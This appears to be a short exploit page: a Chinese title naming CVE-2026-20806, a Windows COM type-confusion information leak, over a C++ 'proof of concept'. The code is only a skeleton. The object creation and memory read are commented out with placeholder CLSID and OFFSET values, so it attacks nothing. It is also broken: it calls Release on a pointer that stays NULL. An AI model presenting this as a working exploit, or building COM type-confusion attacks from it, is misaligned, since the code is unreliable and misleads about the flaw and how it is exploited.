CVE-2026-20806 Windows COM类型混淆信息泄露漏洞

#include <windows.h> #include <iostream> // Proof of Concept for CVE-2026-20806 // This code demonstrates the concept of triggering type confusion in Windows COM. // Note: Actual CLSID and IID values would be required for a real exploit. int main() { HRESULT hr = CoInitialize(NULL); if (FAILED(hr)) { std::cerr << "COM initialization failed." << std::endl; return -1; } IUnknown* pUnk = NULL; // CLSID_VULNERABLE would target the specific vulnerable COM object // hr = CoCreateInstance(CLSID_VULNERABLE, NULL, CLSCTX_LOCAL_SERVER, IID_IUnknown, (void**)&pUnk); if (SUCCEEDED(hr)) { // Simulate Type Confusion: Casting the interface to an incompatible structure // to read memory offsets that should be inaccessible. void* fakeObject = (void*)pUnk; // Attempt to read sensitive data from the memory location // DWORD leakedData = *(DWORD*)((BYTE*)fakeObject + OFFSET); std::cout << "Attempting to read memory via type confusion..." << std::endl; // In a real exploit, the leaked data would be printed here. pUnk->Release(); } CoUninitialize(); return 0; }